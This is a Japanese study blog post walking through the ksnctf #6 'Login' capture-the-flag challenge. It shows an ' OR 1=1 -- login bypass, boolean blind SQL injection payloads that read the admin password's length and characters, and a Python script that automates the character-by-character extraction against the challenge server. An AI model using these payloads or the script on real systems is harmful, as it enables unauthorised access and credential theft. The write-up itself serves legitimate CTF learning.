#6 Login - ChogeLog

はじめに

この問題は自力で解いたわけではなく、他の方のWrite-upを読んで解きました。
自分の勉強用として書いておきます。

問題

SQLインジェクションをしろっていう問題ですねー

解法

とりあえず定番のIDに「admin」、Passに「' OR 1=1 --」と打ち込んでみる・・・

あっさりログインできてしまったけど、さすがにそれでフラグが貰えるわけではないらしい。
adminのパスワードを取得しろって問題みたい('Д')

けど、自分はSQLの知識が全くないのでこれ以上どうすればいいか分からず、Write-upを探してみた…(笑)

↓参考にしたサイト↓
ネットワークエンジニアひよこ倶楽部 ksnctf #6 Login Write-Up

まずはパスワードの文字数を調べる！

admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100--

こういう構文で調べれるみたい。
ID欄にこのSQL文を書いて、Pass欄はコメントアウトされるから空白でもOK

この場合、IDがadminかつ、adminのパスワードが100文字以下ならtrueを返すようになっている。
だから、「100」の数字を適当に変えていけばパスワードの文字数が分かる。
その結果、パスワードの文字数は・・・21文字だと判明！

文字数が分かったところで、次はいよいよパスワードを取得してみる。

使用するSQL文はコレ

admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)='F'--

IDがadminかつ、adminのパスワードの1文字目がFならばtrueを返す。
「substr((--省略--),1,5)='Flag'」って書けば、adminのパスワードの1文字目～4文字目が「Flag」ならばtrueが返されてログインできる。

あとはこのSQL文を使って効率の良いブルートフォースアタックをするプログラムを書いて実行するだけ！
勉強中のPythonで書いてみました(・ω・)

import requests


def search(count, passwd):
    for x in range(33, 127):
        payload = {'id': "admin' and substr((SELECT pass FROM user WHERE id ='admin'),1," + str(count) + ")='" + passwd + chr(x) + "'--", 'pass': ""}
        r = requests.post("http://ctfq.sweetduet.info:10080/~q6/", data=payload)
        html = r.text
        if len(html) > 2000:
            print(chr(x))
            return chr(x)

password = ""
for i in range(1, 22):
    password += search(i, password)

print("Flag is " + password)